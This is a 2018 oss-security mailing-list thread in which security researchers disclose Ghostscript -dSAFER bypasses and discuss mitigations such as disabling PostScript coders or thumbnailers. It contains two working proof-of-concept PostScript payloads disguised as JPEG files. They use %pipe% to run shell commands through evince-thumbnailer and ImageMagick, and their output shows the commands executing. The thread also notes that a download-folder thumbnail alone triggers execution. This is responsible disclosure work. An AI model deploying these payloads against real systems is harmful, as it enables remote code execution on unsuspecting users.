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Date: Wed, 22 Aug 2018 21:24:36 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: Re: Re: More Ghostscript Issues: Should we disable PS
 coders in policy.xml by default?

I've verified that on centos7 at least, just opening nautilus on Downloads
is enough to trigger code execution via evince-thumbnailer.

I just called it test.tiff and used <a download href=test.tiff> in Chrome,
opening nautilus executed the command immediately.

I think we should kill (or at least trim the mime types)
in /usr/share/thumbnailers/evince.thumbnailer.

Tavis.

On Wed, Aug 22, 2018 at 5:35 PM Tavis Ormandy <taviso@...gle.com> wrote:

> Thanks Amit, that's scary, it looks like they're working on it right now.
>
> FWIW, I figured out how to reproduce the original bug here in
> evince-thumbnailer:
>
> $ cat test.jpeg
> %!PS
> a0
> { null restore } stopped { pop } if
> (ppmraw) selectdevice
> legal
> mark /OutputFile (%pipe%id) currentdevice putdeviceprops
> showpage
> $ strace -q -feexecve evince-thumbnailer  test.jpeg foo.out
> execve("/usr/bin/evince-thumbnailer", ["evince-thumbnailer", "test.jpeg",
> "foo.out"], 0x7ffeed3010d0 /* 65 vars */) = 0
> execve("/bin/sh", ["sh", "-c", "id"], 0x7ffcf3ea8d18 /* 65 vars */) = 0
>
> Tavis.
>
> On Wed, Aug 22, 2018 at 12:30 PM AmitB <me@...tbl.com> wrote:
>
>> I also took a look a copule weeks ago at few of the patches for your
>> previous bugs from 2 years ago, and found that one of them is incomplete
>> and still allowing RCE (
>> https://bugs.ghostscript.com/show_bug.cgi?id=697178)
>>
>> POC:
>> ------------------
>> $ cat poc.jpg
>> %!PS
>> << (ICCProfilesDir) (%pipe%id > /dev/) >> .setuserparams
>> currentdevice null true mark /OutputICCProfile (tty)
>> .putdeviceparams
>> showpage
>> $ identify poc.jpg
>> uid=1000(amit) gid=1000(amit) groups=1000(amit)
>>
>> After reviewing all of the comments in the original bug report I saw that
>> you actually mentioned this issue, but it was not taken under
>> consideration/forgotten for some reason.
>> So effectively a public RCE PoC has been avaliable for GhostScript for
>> almost 2 years.
>>
>> I opened a report two weeks ago at bugs.ghostscript.com:
>> 699623 Incomplete fix for #697178 Allowing -dSAFER bypass
>>
>> But I got no response from them until today.
>> If you have others channels of contact with them please let them know
>> about
>> this one too.
>>
>> On Tue, Aug 21, 2018 at 11:12 PM, Tavis Ormandy <taviso@...gle.com>
>> wrote:
>>
>> > Thanks Alex.
>> >
>> > FWIW, not all of these are visible, but I've started filing bugs, I'll
>> file
>> > a few more today and then let the developers work through the most
>> serious
>> > ones.
>> >
>> > 699654 /invalidaccess checks stop working after a failed restore
>> > 699655 missing type checking in setcolor
>> > 699656 LockDistillerParams boolean missing type checks
>> > 699659 missing type check in type checker (!)
>> > 699657 .tempfile SAFER restrictions seem to be broken
>> > 699658 Bypassing PermitFileReading by handling undefinedfilename error
>> > 699660 shading_param incomplete type checking
>> > 699661 pdf14 garbage collection memory corruption
>> > 699662 calling .bindnow causes sideeffects
>> > 699663 .setdistillerkeys memory corruption
>> > 699664 corrupt device object after error in job
>> >
>> > I'm working on getting reproducers working for the developers for all
>> bugs.
>> >
>> > On Tue, Aug 21, 2018 at 8:22 AM Alex Gaynor <alex.gaynor@...il.com>
>> wrote:
>> >
>> > > A small note. Both ImageMagick and GraphicsMagick process various file
>> > > formats that can nest a different image file inside of them. These are
>> > very
>> > > frequently implemented with a call to ReadImage(), with no checking
>> that
>> > > it's the expected file format. (As a result, the fuzzer finds various
>> > > impressive chains, with sometimes 3 different image formats nested
>> inside
>> > > of each other).
>> > >
>> > > The conclusion of this is that people _must not_ attempt to do their
>> own
>> > > format detection and then pass the data to IM/GM, because this can be
>> > > bypassed with nested formats. It's imperative that GS truly be
>> disabled
>> > > with either policy.xml or by uninstall GS.
>> > >
>> > > Alex
>> > >
>> > > On Tue, Aug 21, 2018 at 11:01 AM Bob Friesenhahn <
>> > > bfriesen@...ple.dallas.tx.us> wrote:
>> > >
>> > > > On Tue, 21 Aug 2018, Tavis Ormandy wrote:
>> > > > >
>> > > > > I think those thumbnails should be disabled, but you've probably
>> > > noticed
>> > > > I
>> > > > > think everything related to untrusted ghostscript should be
>> disabled
>> > > :-)
>> > > >
>> > > > I have posted to the GraphicsMagick Announcements mailing list
>> > > > regarding your findings (with a link to this list) and suggested
>> that
>> > > > a fool-proof solution is that Ghostscript should be uninstalled.
>> > > >
>> > > > Uninstalling Ghostscript entirely might cause software using libgs
>> to
>> > > > not execute at all unless a stub library is put in its place.
>> > > >
>> > > > Dependencies on Ghostscript are much larger than one would initially
>> > > > think due to Postscript being the traditional output from Unix
>> > > > software for "printing" and thus it is used as an intermediate
>> format
>> > > > in order to convert between formats.  EPS content is also embedded
>> in
>> > > > some other formats.
>> > > >
>> > > > Bob
>> > > > --
>> > > > Bob Friesenhahn
>> > > > bfriesen@...ple.dallas.tx.us,
>> > > http://www.simplesystems.org/users/bfriesen/
>> > > > GraphicsMagick Maintainer,    http://www.GraphicsMagick.org/
>> > > >
>> > >
>> > >
>> > > --
>> > > All that is necessary for evil to succeed is for good people to do
>> > nothing.
>> > >
>> >
>>
>

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